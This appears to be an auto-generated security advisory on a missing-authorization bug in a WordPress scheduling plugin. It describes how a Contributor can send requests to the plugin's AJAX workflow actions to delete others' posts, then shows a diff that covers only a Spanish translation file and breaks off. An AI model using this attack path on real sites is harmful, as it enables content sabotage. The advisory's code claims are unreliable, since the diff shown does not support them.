Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14718: Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories <= 4.9.3 – Missing Authorization to Authenticated (Contributor+) Workflow Manipulation (post-expirator)

Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 4.9.3
Patched Version 4.9.4
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14718:
This vulnerability is an authorization bypass in the Schedule Post Changes With PublishPress Future WordPress plugin, affecting versions up to and including 4.9.3. The flaw allows authenticated users with Contributor-level permissions or higher to create, update, delete, and publish malicious workflows. These workflows can automatically delete any post upon publication or update, including posts created by administrators. The CVSS score of 5.4 reflects a moderate severity issue.

The root cause is a missing capability check in the plugin’s workflow management functions. Atomic Edge research identified the vulnerable code in the `post-expirator/src/Modules/Workflows/Controllers/WorkflowsController.php` file. The `save` method (lines 109-124 in the patched version) previously lacked a call to `current_user_can()` to verify the user possesses the `manage_options` capability before processing workflow creation or updates. The `delete` method (lines 126-140) similarly omitted this authorization check before deleting workflows. The `run` method (lines 142-156) also failed to verify user permissions before executing a workflow. These omissions constitute a Missing Authorization (CWE-862) vulnerability.

An attacker exploits this vulnerability by sending authenticated POST requests to the plugin’s AJAX endpoints. The primary attack vector targets `/wp-admin/admin-ajax.php` with the `action` parameter set to `publishpressfuture_workflows_save`. The attacker submits a crafted payload containing a malicious workflow definition. This payload includes parameters such as `title`, `enabled`, `trigger`, and `steps`. The `steps` array defines automated actions to execute, including post deletion. A Contributor-level attacker can target any post ID, including those they do not own. The same endpoint accepts `action` values of `publishpressfuture_workflows_delete` and `publishpressfuture_workflows_run` for deletion and immediate execution of workflows.

The patch adds mandatory authorization checks to the critical workflow management functions. In `WorkflowsController.php`, the `save`, `delete`, and `run` methods now each include a conditional statement: `if (! current_user_can(‘manage_options’))`. This check returns a `WP_Error` object with the message ‘You do not have sufficient permissions to access this page’ if the current user lacks administrator-level privileges. The fix ensures that only users with the `manage_options` capability, typically Administrators, can perform these sensitive operations. Before the patch, any authenticated user could access these functions. After the patch, the plugin properly enforces WordPress role-based access control.

Successful exploitation allows a low-privileged user to sabotage site content. An attacker can create a workflow that automatically deletes any post, including those authored by administrators, upon its publication or next update. This leads to arbitrary post deletion, content loss, and site disruption. The vulnerability also permits unauthorized modification or removal of existing workflows, potentially disabling legitimate post scheduling. While the impact is limited to content manipulation within the WordPress context, it represents a significant integrity and availability risk for affected websites.

Differential between vulnerable and patched code

Code Diff
--- a/post-expirator/languages/post-expirator-es_ES.l10n.php
+++ b/post-expirator/languages/post-expirator-es_ES.l10n.php
@@ -1,6 +1,6 @@
 <?php
-return ['domain'=>NULL,'plural-forms'=>'nplurals=2; plural=n != 1;','language'=>'es','project-id-version'=>'Plugins - PublishPress Future: Automatically Unpublish WordPress Posts - Stable (latest release)','pot-creation-date'=>'2025-11-14T10:37:55+00:00','po-revision-date'=>'2025-11-18 12:38+0100','x-generator'=>'Poedit 3.7','messages'=>['PublishPress Future'=>'PublishPress Future','http://wordpress.org/extend/plugins/post-expirator/'=>'https://es.wordpress.org/plugins/post-expirator/','PublishPress Future allows you to schedule automatic changes to posts, pages and other content types.'=>'PublishPress Future te permite programar cambios automáticos en entradas, páginas y otros tipos de contenido.','PublishPress'=>'PublishPress','http://publishpress.com'=>'https://publishpress.com','You do not have permission to configure PublishPress Future.'=>'No tienes permisos para configurar PublishPress Future.','Debug is disabled'=>'Depuración desactivada','Debugging Disabled'=>'Depuración desactivada','Debugging Enabled'=>'Depuración activada','Debugging Table Emptied'=>'Tabla de depuración vaciada','The legacy future actions migration has been enqueued and will run asynchronously.'=>'La migración de acciones Future heredadas se ha puesto en cola y se ejecutará de forma asíncrona.','The legacy actions arguments restoration has been enqueued and will run asynchronously.'=>'La restauración de los argumentos de las acciones heredadas se ha puesto en cola y se ejecutará de forma asíncrona.','The database schema was fixed.'=>'Se ha corregido el esquema de la base de datos.','The database schema could not be fixed. Please, contact the support team.'=>'No se ha podido corregir el esquema de la base de datos. Por favor, contacta con el equipo de soporte.','Saved Options!'=>'¡Opciones guardadas!','If you like %1$s, please leave us a %2$s rating. Thank you!'=>'Si te gusta %1$s, por favor, déjanos una valoración de %2$s. ¡Gracias!','About PublishPress Future'=>'Acerca de PublishPress Future','About'=>'Acerca de','Future Documentation'=>'Documentación de Future','Documentation'=>'Documentación','Contact the PublishPress team'=>'Contacta con el equipo de PublishPress','Contact'=>'Contacto','No taxonomies found'=>'No se han encontrado taxonomías','l F jS, Y'=>'l, j F Y','g:ia'=>'g:ia','Post expires at EXPIRATIONTIME on ACTIONDATE'=>'La entrada caduca en EXPIRATIONTIME el ACTIONDATE','The table %s does not exist.'=>'La tabla %s no existe.','The table indexes are invalid: '=>'Los índices de la tabla no son válidos: ','Empty date time offset.'=>'Desplazamiento de fecha y hora vacío.','Invalid date time offset'=>'Desplazamiento de fecha y hora no válido','Export'=>'Exportar','Import'=>'Importar','Failed to get workflows. Check the logs for more details.'=>'No se han podido obtener los flujos de trabajo. Comprueba los registros para más detalles.','Failed to export the file. Check the logs for more details.'=>'No se ha podido exportar el archivo. Comprueba los registros para obtener más detalles.','Failed to import the file. Check the logs for more details.'=>'No se ha podido importar el archivo. Comprueba los registros para obtener más detalles.','You do not have sufficient permissions to access this page.'=>'No tienes permisos suficientes para acceder a esta página.','Invalid nonce.'=>'Nonce no válido.','Taxonomy'=>'Taxonomía','Future Actions'=>'Acciones Future','Enable Future Action'=>'Activar caducidad de la entrada','Categories'=>'Categorías','Action'=>'Acción','Loading'=>'Cargando','Show Calendar'=>'Muestra el calendario','Hide Calendar'=>'Oculta el calendario','Timezone is controlled by the {WordPress Settings}.'=>'La zona horaria se controla mediante los {Ajustes de WordPress}.','No %s found.'=>'No se ha encontrado %s.','You must assign a taxonomy to this post type to use this feature.'=>'Debe asignar una taxonomía a este tipo de entrada para utilizar esta función.','New %s'=>'Nuevo %s','%s to remove'=>'%s a eliminar','%s to add'=>'%s a añadir','Search for %s'=>'Búsqueda por %s','Select an action'=>'Selecciona una acción','Select a date'=>'Selecciona una fecha','Date cannot be in the past'=>'La fecha no puede estar en el pasado','Please select one or more %s'=>'Por favor, selecciona uno o más %s','New status'=>'Nuevo estado','No posts selected. Unable to sync Future Actions.'=>'No hay entradas seleccionadas. No se pueden sincronizar las acciones de Future.','Future Actions successfully synced with Post Metadata.'=>'Acciones de Future sincronizadas correctamente con los metadatos de la entrada.','Update Future Actions from Post Metadata'=>'Actualiza las acciones de Future a partir de los metadatos de la entrada','Future Action Update'=>'Actualización de las acciones de Future','— No Change —'=>'— Sin cambios —','Add or update action for posts'=>'Añade o actualiza la acción para las entradas','Add action if none exists for posts'=>'Añade una acción si no hay ninguna para las entradas','Update the existing actions for posts'=>'Actualiza las acciones existentes para las entradas','Remove action from posts'=>'Quitar acción de las entradas','Category'=>'Categoría','Upgrade to Pro'=>'Actualizar a Pro','Action Workflows'=>'Flujos de trabajo de acción','Settings'=>'Ajustes','Future Action'=>'Acción Future','No future action'=>'Ninguna acción Future','Invalid date time offset.'=>'Desplazamiento de fecha y hora no válido.','Future'=>'Future','Scheduled Actions'=>'Acciones programadas','Log format'=>'Formato del registro','List'=>'Lista','Popup'=>'Ventana emergente','Unknown post'=>'Entrada desconocida','Executed action for: %s (ID: %d)'=>'Acción ejecutada para: %s (ID: %d)','Executed scheduled action'=>'Acción programada ejecutada','Set the offset to use for the default action date and time. For information on formatting, see %1$s. For example, you could enter %2$s+1 month%3$s or %2$s+1 week 2 days 4 hours 2 seconds%3$s or %2$snext Thursday%3$s. Please, use only terms in English.'=>'Establece el desplazamiento que se utilizará para la fecha y hora de la acción por defecto. Para obtener información sobre el formato, consulta %1$s. Por ejemplo, puedes introducir %2$s+1 month%3$s or %2$s+1 week 2 days 4 hours 2 seconds%3$s or %2$snext Thursday%3$s. Por favor, introduce solo términos en inglés.','Default Values'=>'Valores por defecto','Use the values below to set the default actions/values to be used for each for the corresponding post types.  These values can all be overwritten when creating/editing the post/page.'=>'Utiliza los siguientes valores para establecer las acciones/valores por defecto que se utilizarán para cada uno de los tipos de contenido correspondientes. Estos valores se pueden sobrescribir al crear/editar la publicación/página.','Active'=>'Activa','Activate the PublishPress Future actions for this post type'=>'Activa las acciones de PublishPress Future para este tipo de contenido','Default Action'=>'Acción por defecto','Select the default action for the post type.'=>'Elige la acción de caducidad por defecto para el tipo de contenido.','Select the taxonomy to be used for actions.'=>'Selecciona la taxonomía que se utilizará para las acciones.','Automatically create actions'=>'Crear acciones automáticamente','This will automatically create an action for new posts, using the default settings on this screen'=>'Esto creará automáticamente una acción para las nuevas entradas, utilizando los ajustes por defecto en esta pantalla','No taxonomies found for this post type. Taxonomy actions will not be available.'=>'No se han encontrado taxonomías para este tipo de entrada. Las acciones de taxonomía no estarán disponibles.','Who to Notify'=>'A quién avisar','Enter a comma separated list of emails that you would like to be notified when the action runs.'=>'Introduce una lista de correos electrónicos separada por comas a los que te gustaría avisar cuando caduque la entrada.','Default Date/Time Offset'=>'Duración por defecto de fecha/hora','PHP strtotime function'=>'Función strtotime de PHP','Default terms:'=>'Términos por defecto:','Save changes'=>'Guardar los cambios','Wait for the validation...'=>'Espera la validación…','Date Preview'=>'Vista previa de la fecha','Current Date'=>'Fecha actual','Computed Date'=>'Fecha calculada','Error'=>'Error','Custom statuses'=>'Estados personalizados','Enable support for custom statuses'=>'Activar la compatibilidad con estados personalizados','Checking this option will allow you to move posts to a custom status.'=>'Marcando esta opción podrás mover las entradas a un estado personalizado.','Metadata scheduling'=>'Programación de los metadatos','Enable metadata scheduling'=>'Activar la programación de metadatos','Checking this option will allow you to use post metadata to control the scheduling of actions.'=>'Marcando esta opción podrás utilizar los metadatos de la entrada para controlar la programación de las acciones.','This is a Pro feature. Upgrade to unlock this functionality.'=>'Esta es una característica Pro. Actualizar para desbloquear esta funcionalidad.','Form Validation Failure: Sorry, your nonce did not verify.'=>'Fallo de validación del formulario: Lo sentimos, tu nonce no ha podido verificarse.','The shortcode [futureaction] must be used inside the loop or with the post_id attribute.'=>'El shortcode [futureaction] debe utilizarse dentro del bucle o con el atributo post_id.','The column args length was not updated to 1000.'=>'La longitud de la columna de argumentos no se actualizó a 1000.','Status didn't change.'=>'El estado no ha cambiado.','Status has been successfully changed from "%1$s" to "%2$s".'=>'El estado se ha cambiado correctamente de «%1$s» a «%2$s».','Change status'=>'Cambiar estado','%s was not deleted.'=>'%s no ha sido borrado.','%s has been successfully deleted.'=>'%s ha sido borrado correctamente.','Delete'=>'Borrar','No terms were added to the %s.'=>'No se han añadido términos a la %s.','The following terms (%1$s) were added to the %2$s: "%3$s". The full list of terms on the post is: %4$s.'=>'Los siguientes términos (%1$s) fueron añadidos a la %2$s: «%3$s». La lista completa de términos en la entrada es: %4$s.','Add extra %s'=>'Añadir extra %s','No terms were removed from the %s.'=>'No se han eliminado términos de la %s.','The following terms (%1$s) were removed from the %2$s: %3$s. The new list of terms on the post is: %4$s.'=>'Los siguientes términos (%1$s) fueron eliminados de la %2$s: «%3$s». La nueva lista de términos en la entrada es: %4$s.','Remove selected %s'=>'Eliminar %s seleccionados','The following terms (%1$s) were removed from the %2$s: %3$s.'=>'Los siguientes términos (%1$s) fueron eliminados de la %2$s: «%3$s».','Remove all %s'=>'Eliminar todo %s','No terms were changed on the %s.'=>'No se han modificado los términos en la %s.','The following terms (%1$s) were set to the %2$s: "%3$s". The old list of terms on the post was: %4$s.'=>'Los siguientes términos (%1$s) se establecieron en la %2$s: «%3$s». La antigua lista de términos de la entrada era: %4$s.','Replace all %s'=>'Sustituir todo %s','Change status to %s'=>'Cambia el estado a %s','%s didn't change.'=>'%s no ha cambiado.','%s has been added to stickies list.'=>'%s ha sido añadido a la lista de fijos.','Stick'=>'Fijar','%s has been removed from stickies list.'=>'%s ha sido quitado de la lista de fijos.','Unstick'=>'No fijar','Migrate legacy actions arguments schema after v3.0.0'=>'Migrar el esquema de argumentos de las acciones heredadas después de la versión 3.0.0','Migrate legacy footer placeholders after v3.0.0'=>'Migrar los marcadores de pie de página heredados después de la versión 3.0.0','Migrate legacy scheduled actions after v3.0.0'=>'Migrar las acciones heredadas después de la versión 3.0.0','Restore post meta data after v3.0.1'=>'Restaurar los metadatos de la entrada después de v3.0.1','Change args column length to 1000 in the table _ppfuture_actions_args after v3.1.4'=>'Cambiar la longitud de la columna de los argumentos a 1000 en la tabla _ppfuture_actions_args después de v3.1.4','Email is disabled.'=>'Correo electrónico desactivado.','Email sent.'=>'Correo electrónico enviado.','Email not sent.'=>'Correo electrónico no enviado.','%1$s. %2$s on %3$s. The post link is %4$s'=>'%1$s. %2$s el día %3$s. El enlace de la entrada es %4$s','Future Action Complete "%s"'=>'Caducidad de la entrada completada «%s»','[%1$s] %2$s'=>'[%1$s] %2$s','Invalid date/time offset "%s" for post type "%s". Please ensure you use only English terms for the date/time offset, such as "3 months" or "1 week".'=>'Desplazamiento fecha/hora «%s» no válido para el tipo de entrada «%s». Asegúrate de utilizar únicamente términos en inglés para el desfase fecha/hora, como «3 months» o «1 week».','Status'=>'Estado','Arguments'=>'Argumentos','Logs'=>'Registros','Scheduled Date'=>'Fecha programada','Recurrence'=>'Recurrente','Run'=>'Ejecutar','Process the action now'=>'Ejecuta la acción ahora','Cancel'=>'Cancelar','Cancel the action. This will prevent the action from running in the future'=>'Cancela la acción. Esto evitará que la acción se ejecute en el futuro','%s year'=>'%s año' . "" . '%s años','%s month'=>'%s mes' . "" . '%s meses','%s week'=>'%s semana' . "" . '%s semanas','%s day'=>'%s día' . "" . '%s días','%s hour'=>'%s hora' . "" . '%s horas','%s minute'=>'%s minuto' . "" . '%s minutos','%s second'=>'%s segundo' . "" . '%s segundos','Action Logs'=>'Registro de eventos','Uninitialized'=>'Sin inicializar','Scheduled'=>'Programado','Complete'=>'Completar','Failed'=>'Fallido','Canceled'=>'Cancelado','Running'=>'En curso','All'=>'Todos','Search hook, args and claim ID'=>'Buscar gancho, argumentos e ID de reclamación','Completed'=>'Completado','%1$s: [%2$d] %3$s%4$s%5$s'=>'%1$s: [%2$d] %3$s%4$s%5$s','New Status: %s'=>'Nuevo estado: %s','Terms: %s'=>'Términos: %s','View log'=>'Ver registro','Action: '=>'Acción: ','Status: '=>'Estado: ','Arguments: '=>'Argumentos: ','Scheduled date: '=>'Fecha programada: ','Date'=>'Fecha','Message'=>'Mensaje','Async'=>'Asíncrona',' (%s ago)'=>' (hace %s)',' (%s)'=>' (%s)','Now!'=>'¡Ahora!','Every %s'=>'Cada %s','Non-repeating'=>'No repetitiva','No Scheduled Actions.'=>'No hay acciones programadas.','Scheduled Workflow Steps Cleanup'=>'Limpieza de pasos programados del flujo de trabajo','Automatically remove scheduled workflow steps'=>'Eliminar automáticamente los pasos programados del flujo de trabajo','Automatically remove scheduled workflow steps that have been marked as failed, completed, or cancelled.'=>'Eliminar automáticamente los pasos programados del flujo de trabajo que se hayan marcado como fallidos, completados o anulados.','Retain all scheduled workflow steps'=>'Retener todos los pasos programados del flujo de trabajo','Retain all scheduled workflow steps indefinitely, including those marked as failed, completed, or cancelled. This may impact database performance over time.'=>'Retener indefinidamente todos los pasos de flujo de trabajo programados, incluidos los marcados como fallidos, completados o cancelados. Esto puede afectar al rendimiento de la base de datos con el tiempo.','Retention'=>'Retención','The duration, in days, for which completed, failed, and canceled scheduled workflow steps will be preserved before automatic removal.'=>'La duración, en días, durante la cual se conservarán los pasos de flujo de trabajo programados completados, fallidos y anulados antes de su eliminación automática.','days'=>'días','You're using PublishPress Future Free. The Pro version has more features and support. %1$sUpgrade to Pro%2$s'=>'Estás usando PublishPress Future Free. La versión Pro tiene más características y soporte. %1$sActualizar a Pro%2$s','Workflow Manual Trigger'=>'Disparador del flujo de trabajo','Check and warn about past-due actions'=>'Comprobación y aviso de acciones vencidas','You have past-due scheduled actions in PublishPress Future.
+return ['domain'=>NULL,'plural-forms'=>'nplurals=2; plural=n != 1;','language'=>'es','project-id-version'=>'Plugins - PublishPress Future: Automatically Unpublish WordPress Posts - Stable (latest release)','pot-creation-date'=>'2025-12-09T15:43:27+00:00','po-revision-date'=>'2025-12-12 08:09+0100','x-generator'=>'Poedit 3.7','messages'=>['PublishPress Future'=>'PublishPress Future','http://wordpress.org/extend/plugins/post-expirator/'=>'https://es.wordpress.org/plugins/post-expirator/','PublishPress Future allows you to schedule automatic changes to posts, pages and other content types.'=>'PublishPress Future te permite programar cambios automáticos en entradas, páginas y otros tipos de contenido.','PublishPress'=>'PublishPress','http://publishpress.com'=>'https://publishpress.com','You do not have permission to configure PublishPress Future.'=>'No tienes permisos para configurar PublishPress Future.','Debug is disabled'=>'Depuración desactivada','Debugging Disabled'=>'Depuración desactivada','Debugging Enabled'=>'Depuración activada','Debugging Table Emptied'=>'Tabla de depuración vaciada','The legacy future actions migration has been enqueued and will run asynchronously.'=>'La migración de acciones Future heredadas se ha puesto en cola y se ejecutará de forma asíncrona.','The legacy actions arguments restoration has been enqueued and will run asynchronously.'=>'La restauración de los argumentos de las acciones heredadas se ha puesto en cola y se ejecutará de forma asíncrona.','The database schema was fixed.'=>'Se ha corregido el esquema de la base de datos.','The database schema could not be fixed. Please, contact the support team.'=>'No se ha podido corregir el esquema de la base de datos. Por favor, contacta con el equipo de soporte.','Saved Options!'=>'¡Opciones guardadas!','If you like %1$s, please leave us a %2$s rating. Thank you!'=>'Si te gusta %1$s, por favor, déjanos una valoración de %2$s. ¡Gracias!','About PublishPress Future'=>'Acerca de PublishPress Future','About'=>'Acerca de','Future Documentation'=>'Documentación de Future','Documentation'=>'Documentación','Contact the PublishPress team'=>'Contacta con el equipo de PublishPress','Contact'=>'Contacto','No taxonomies found'=>'No se han encontrado taxonomías','l F jS, Y'=>'l, j F Y','g:ia'=>'g:ia','Post expires at EXPIRATIONTIME on ACTIONDATE'=>'La entrada caduca en EXPIRATIONTIME el ACTIONDATE','The table %s does not exist.'=>'La tabla %s no existe.','The table indexes are invalid: '=>'Los índices de la tabla no son válidos: ','Empty date time offset.'=>'Desplazamiento de fecha y hora vacío.','Invalid date time offset'=>'Desplazamiento de fecha y hora no válido','Export'=>'Exportar','Import'=>'Importar','Failed to get workflows. Check the logs for more details.'=>'No se han podido obtener los flujos de trabajo. Comprueba los registros para más detalles.','Failed to export the file. Check the logs for more details.'=>'No se ha podido exportar el archivo. Comprueba los registros para obtener más detalles.','Failed to import the file. Check the logs for more details.'=>'No se ha podido importar el archivo. Comprueba los registros para obtener más detalles.','You do not have sufficient permissions to access this page.'=>'No tienes permisos suficientes para acceder a esta página.','Invalid nonce.'=>'Nonce no válido.','Taxonomy'=>'Taxonomía','Future Actions'=>'Acciones Future','Enable Future Action'=>'Activar caducidad de la entrada','Categories'=>'Categorías','Action'=>'Acción','Loading'=>'Cargando','Show Calendar'=>'Muestra el calendario','Hide Calendar'=>'Oculta el calendario','Timezone is controlled by the {WordPress Settings}.'=>'La zona horaria se controla mediante los {Ajustes de WordPress}.','No %s found.'=>'No se ha encontrado %s.','You must assign a taxonomy to this post type to use this feature.'=>'Debe asignar una taxonomía a este tipo de entrada para utilizar esta función.','New %s'=>'Nuevo %s','%s to remove'=>'%s a eliminar','%s to add'=>'%s a añadir','Search for %s'=>'Búsqueda por %s','Select an action'=>'Selecciona una acción','Select a date'=>'Selecciona una fecha','Date cannot be in the past'=>'La fecha no puede estar en el pasado','Please select one or more %s'=>'Por favor, selecciona uno o más %s','New status'=>'Nuevo estado','No posts selected. Unable to sync Future Actions.'=>'No hay entradas seleccionadas. No se pueden sincronizar las acciones de Future.','Future Actions successfully synced with Post Metadata.'=>'Acciones de Future sincronizadas correctamente con los metadatos de la entrada.','Update Future Actions from Post Metadata'=>'Actualiza las acciones de Future a partir de los metadatos de la entrada','Future Action Update'=>'Actualización de las acciones de Future','— No Change —'=>'— Sin cambios —','Add or update action for posts'=>'Añade o actualiza la acción para las entradas','Add action if none exists for posts'=>'Añade una acción si no hay ninguna para las entradas','Update the existing actions for posts'=>'Actualiza las acciones existentes para las entradas','Remove action from posts'=>'Quitar acción de las entradas','Category'=>'Categoría','Upgrade to Pro'=>'Actualizar a Pro','Action Workflows'=>'Flujos de trabajo de acción','Settings'=>'Ajustes','Future Action'=>'Acción Future','No future action'=>'Ninguna acción Future','Invalid date time offset.'=>'Desplazamiento de fecha y hora no válido.','Future'=>'Future','Scheduled Actions'=>'Acciones programadas','Log format'=>'Formato del registro','List'=>'Lista','Popup'=>'Ventana emergente','Unknown post'=>'Entrada desconocida','Executed action for: %s (ID: %d)'=>'Acción ejecutada para: %s (ID: %d)','Executed scheduled action'=>'Acción programada ejecutada','Set the offset to use for the default action date and time. For information on formatting, see %1$s. For example, you could enter %2$s+1 month%3$s or %2$s+1 week 2 days 4 hours 2 seconds%3$s or %2$snext Thursday%3$s. Please, use only terms in English.'=>'Establece el desplazamiento que se utilizará para la fecha y hora de la acción por defecto. Para obtener información sobre el formato, consulta %1$s. Por ejemplo, puedes introducir %2$s+1 month%3$s or %2$s+1 week 2 days 4 hours 2 seconds%3$s or %2$snext Thursday%3$s. Por favor, introduce solo términos en inglés.','Default Values'=>'Valores por defecto','Use the values below to set the default actions/values to be used for each for the corresponding post types.  These values can all be overwritten when creating/editing the post/page.'=>'Utiliza los siguientes valores para establecer las acciones/valores por defecto que se utilizarán para cada uno de los tipos de contenido correspondientes. Estos valores se pueden sobrescribir al crear/editar la publicación/página.','Active'=>'Activa','Activate the PublishPress Future actions for this post type'=>'Activa las acciones de PublishPress Future para este tipo de contenido','Default Action'=>'Acción por defecto','Select the default action for the post type.'=>'Elige la acción de caducidad por defecto para el tipo de contenido.','Select the taxonomy to be used for actions.'=>'Selecciona la taxonomía que se utilizará para las acciones.','Automatically create actions'=>'Crear acciones automáticamente','This will automatically create an action for new posts, using the default settings on this screen'=>'Esto creará automáticamente una acción para las nuevas entradas, utilizando los ajustes por defecto en esta pantalla','No taxonomies found for this post type. Taxonomy actions will not be available.'=>'No se han encontrado taxonomías para este tipo de entrada. Las acciones de taxonomía no estarán disponibles.','Who to Notify'=>'A quién avisar','Enter a comma separated list of emails that you would like to be notified when the action runs.'=>'Introduce una lista de correos electrónicos separada por comas a los que te gustaría avisar cuando caduque la entrada.','Default Date/Time Offset'=>'Duración por defecto de fecha/hora','PHP strtotime function'=>'Función strtotime de PHP','Default terms:'=>'Términos por defecto:','Save changes'=>'Guardar los cambios','Wait for the validation...'=>'Espera la validación…','Date Preview'=>'Vista previa de la fecha','Current Date'=>'Fecha actual','Computed Date'=>'Fecha calculada','Error'=>'Error','Custom statuses'=>'Estados personalizados','Enable support for custom statuses'=>'Activar la compatibilidad con estados personalizados','Checking this option will allow you to move posts to a custom status.'=>'Marcando esta opción podrás mover las entradas a un estado personalizado.','Metadata scheduling'=>'Programación de los metadatos','Enable metadata scheduling'=>'Activar la programación de metadatos','Checking this option will allow you to use post metadata to control the scheduling of actions.'=>'Marcando esta opción podrás utilizar los metadatos de la entrada para controlar la programación de las acciones.','This is a Pro feature. Upgrade to unlock this functionality.'=>'Esta es una característica Pro. Actualizar para desbloquear esta funcionalidad.','Form Validation Failure: Sorry, your nonce did not verify.'=>'Fallo de validación del formulario: Lo sentimos, tu nonce no ha podido verificarse.','The shortcode [futureaction] must be used inside the loop or with the post_id attribute.'=>'El shortcode [futureaction] debe utilizarse dentro del bucle o con el atributo post_id.','The column args length was not updated to 1000.'=>'La longitud de la columna de argumentos no se actualizó a 1000.','Status didn't change.'=>'El estado no ha cambiado.','Status has been successfully changed from "%1$s" to "%2$s".'=>'El estado se ha cambiado correctamente de «%1$s» a «%2$s».','Change status'=>'Cambiar estado','%s was not deleted.'=>'%s no ha sido borrado.','%s has been successfully deleted.'=>'%s ha sido borrado correctamente.','Delete'=>'Borrar','No terms were added to the %s.'=>'No se han añadido términos a la %s.','The following terms (%1$s) were added to the %2$s: "%3$s". The full list of terms on the post is: %4$s.'=>'Los siguientes términos (%1$s) fueron añadidos a la %2$s: «%3$s». La lista completa de términos en la entrada es: %4$s.','Add extra %s'=>'Añadir extra %s','No terms were removed from the %s.'=>'No se han eliminado términos de la %s.','The following terms (%1$s) were removed from the %2$s: %3$s. The new list of terms on the post is: %4$s.'=>'Los siguientes términos (%1$s) fueron eliminados de la %2$s: «%3$s». La nueva lista de términos en la entrada es: %4$s.','Remove selected %s'=>'Eliminar %s seleccionados','The following terms (%1$s) were removed from the %2$s: %3$s.'=>'Los siguientes términos (%1$s) fueron eliminados de la %2$s: «%3$s».','Remove all %s'=>'Eliminar todo %s','No terms were changed on the %s.'=>'No se han modificado los términos en la %s.','The following terms (%1$s) were set to the %2$s: "%3$s". The old list of terms on the post was: %4$s.'=>'Los siguientes términos (%1$s) se establecieron en la %2$s: «%3$s». La antigua lista de términos de la entrada era: %4$s.','Replace all %s'=>'Sustituir todo %s','Change status to %s'=>'Cambia el estado a %s','%s didn't change.'=>'%s no ha cambiado.','%s has been added to stickies list.'=>'%s ha sido añadido a la lista de fijos.','Stick'=>'Fijar','%s has been removed from stickies list.'=>'%s ha sido quitado de la lista de fijos.','Unstick'=>'No fijar','Migrate legacy actions arguments schema after v3.0.0'=>'Migrar el esquema de argumentos de las acciones heredadas después de la versión 3.0.0','Migrate legacy footer placeholders after v3.0.0'=>'Migrar los marcadores de pie de página heredados después de la versión 3.0.0','Migrate legacy scheduled actions after v3.0.0'=>'Migrar las acciones heredadas después de la versión 3.0.0','Restore post meta data after v3.0.1'=>'Restaurar los metadatos de la entrada después de v3.0.1','Change args column length to 1000 in the table _ppfuture_actions_args after v3.1.4'=>'Cambiar la longitud de la columna de los argumentos a 1000 en la tabla _ppfuture_actions_args después de v3.1.4','Email is disabled.'=>'Correo electrónico desactivado.','Email sent.'=>'Correo electrónico enviado.','Email not sent.'=>'Correo electrónico no enviado.','%1$s. %2$s on %3$s. The post link is %4$s'=>'%1$s. %2$s el día %3$s. El enlace de la entrada es %4$s','Future Action Complete "%s"'=>'Caducidad de la entrada completada «%s»','[%1$s] %2$s'=>'[%1$s] %2$s','Invalid date/time offset "%s" for post type "%s". Please ensure you use only English terms for the date/time offset, such as "3 months" or "1 week".'=>'Desplazamiento fecha/hora «%s» no válido para el tipo de entrada «%s». Asegúrate de utilizar únicamente términos en inglés para el desfase fecha/hora, como «3 months» o «1 week».','Status'=>'Estado','Arguments'=>'Argumentos','Logs'=>'Registros','Scheduled Date'=>'Fecha programada','Recurrence'=>'Recurrente','Run'=>'Ejecutar','Process the action now'=>'Ejecuta la acción ahora','Cancel'=>'Cancelar','Cancel the action. This will prevent the action from running in the future'=>'Cancela la acción. Esto evitará que la acción se ejecute en el futuro','%s year'=>'%s año' . "" . '%s años','%s month'=>'%s mes' . "" . '%s meses','%s week'=>'%s semana' . "" . '%s semanas','%s day'=>'%s día' . "" . '%s días','%s hour'=>'%s hora' . "" . '%s horas','%s minute'=>'%s minuto' . "" . '%s minutos','%s second'=>'%s segundo' . "" . '%s segundos','Action Logs'=>'Registro de eventos','Uninitialized'=>'Sin inicializar','Scheduled'=>'Programado','Complete'=>'Completar','Failed'=>'Fallido','Canceled'=>'Cancelado','Running'=>'En curso','All'=>'Todos','Search hook, args and claim ID'=>'Buscar gancho, argumentos e ID de reclamación','Completed'=>'Completado','%1$s: [%2$d] %3$s%4$s%5$s'=>'%1$s: [%2$d] %3$s%4$s%5$s','New Status: %s'=>'Nuevo estado: %s','Terms: %s'=>'Términos: %s','View log'=>'Ver registro','Action: '=>'Acción: ','Status: '=>'Estado: ','Arguments: '=>'Argumentos: ','Scheduled date: '=>'Fecha programada: ','Date'=>'Fecha','Message'=>'Mensaje','Async'=>'Asíncrona',' (%s ago)'=>' (hace %s)',' (%s)'=>' (%s)','Now!'=>'¡Ahora!','Every %s'=>'Cada %s','Non-repeating'=>'No repetitiva','No Scheduled Actions.'=>'No hay acciones programadas.','Scheduled Workflow Steps Cleanup'=>'Limpieza de pasos programados del flujo de trabajo','Automatically remove scheduled workflow steps'=>'Eliminar automáticamente los pasos programados del flujo de trabajo','Automatically remove scheduled workflow steps that have been marked as failed, completed, or cancelled.'=>'Eliminar automáticamente los pasos programados del flujo de trabajo que se hayan marcado como fallidos, completados o anulados.','Retain all scheduled workflow steps'=>'Retener todos los pasos programados del flujo de trabajo','Retain all scheduled workflow steps indefinitely, including those marked as failed, completed, or cancelled. This may impact database performance over time.'=>'Retener indefinidamente todos los pasos de flujo de trabajo programados, incluidos los marcados como fallidos, completados o cancelados. Esto puede afectar al rendimiento de la base de datos con el tiempo.','Retention'=>'Retención','The duration, in days, for which completed, failed, and canceled scheduled workflow steps will be preserved before automatic removal.'=>'La duración, en días, durante la cual se conservarán los pasos de flujo de trabajo programados completados, fallidos y anulados antes de su eliminación automática.','days'=>'días','You're using PublishPress Future Free. The Pro version has more features and support. %1$sUpgrade to Pro%2$s'=>'Estás usando PublishPress Future Free. La versión Pro tiene más características y soporte. %1$sActualizar a Pro%2$s','Workflow Manual Trigger'=>'Disparador del flujo de trabajo','Check and warn about past-due actions'=>'Comprobación y aviso de acciones vencidas','You have past-due scheduled actions in PublishPress Future.

 Please check them at %s'=>'Tienes acciones programadas vencidas en PublishPress Future.

